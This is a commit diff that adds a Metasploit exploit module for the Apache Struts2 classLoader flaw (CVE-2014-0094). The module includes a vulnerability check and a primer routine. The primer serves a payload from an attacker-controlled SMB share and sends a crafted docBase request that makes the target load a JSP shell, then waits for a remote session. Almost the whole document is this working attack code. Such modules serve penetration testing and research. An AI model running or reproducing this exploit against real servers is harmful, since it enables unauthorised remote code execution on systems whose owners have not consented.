Update with master changes

Author: jvazquez-r7

modules/exploits/windows/http/struts_http_jspinject.rb

@@ -0,0 +1,96 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = GreatRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::Remote::SMB::Server::Share
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'          => 'Struts JSP Injection over HTTP',
+      'Description'   => %q{
+        This module exploits the classLoader Apache Struts2 
+        vulnerability to inject a JSP shell over SMB.
+      },
+      'Author'      => [
+        'Matthew Hall <[email protected]>',
+      ],
+      'DisclosureDate' => 'May 1 2014',
+      'Platform'       => 'win',
+      'Privileged'     => true,
+      'References'     =>
+        [
+          [ 'URL', 'http://www.sec-1.com/blog/'],
+          [ 'CVE', '2014-0094' ],
+        ],
+      'DefaultOptions' =>
+        {
+          'EXITFUNC' => 'process',
+          'DisablePayloadHandler' => 'false',
+        },
+      'Privileged'     => true,
+      'Arch'           => ARCH_JAVA,
+      'Platform'       => [ 'win' ],
+      'Targets'        =>
+      [
+        [ 'Java Universal',
+          {
+          'Arch' => ARCH_JAVA,
+          'Platform' => ['win','linux']
+          },
+        ]
+      ],
+      'DefaultTarget'  => 0,
+      ))
+      register_options(
+        [
+          OptString.new('URI',      [true,  'Path to vulnerable Struts action file', '/struts2-showcase/showcase.action', true ]),
+          OptString.new('FILE_NAME', [ true, 'A static JSP name (ie. "/example/HelloWorld.jsp")', 'showcase.jsp']),
+          Opt::RPORT(8080)
+        ], self.class)
+      deregister_options('FILE_CONTENTS')
+  end
+
+  def check
+    uri = datastore['URI'] + '?Class.classLoader.resources.dirContext.cacheObjectMaxSize=x'
+    res = send_request_raw({'uri'=>uri})
+
+    if res and res.body =~ /No result defined for action/ 
+      return Exploit::CheckCode::Vulnerable
+    else
+      return Exploit::CheckCode::Unknown
+    end
+  end
+
+  def primer 
+    self.file_contents = payload.encoded 
+    print_status("File available on #{unc}...")
+    share = "#{unc}"
+    sploit = datastore['URI'] 
+    share = share.gsub(/\\/, '/')
+    #sploit << '?class.classLoader.resources.dirContext.docBase='
+    sploit << '?Class.classLoader.resources.dirContext.docBase='
+    #sploit << '?Class.classLoader.resources.context.effectiveMajorVersion='
+    #sploit << "?class['classLoader']['resources']['dirContext']['docBase']="
+    sploit << share
+    print_status("Injecting JSP to #{datastore['RHOST']}:#{datastore['RPORT']} - #{sploit}")
+
+    res = send_request_raw({
+      'method' => 'GET',
+      'uri' => sploit
+    }, 30)
+
+    # Wait 30 seconds for session to be created
+    1.upto(30) do
+      break if session_created?
+      sleep(1)
+    end
+    disconnect
+  end
+end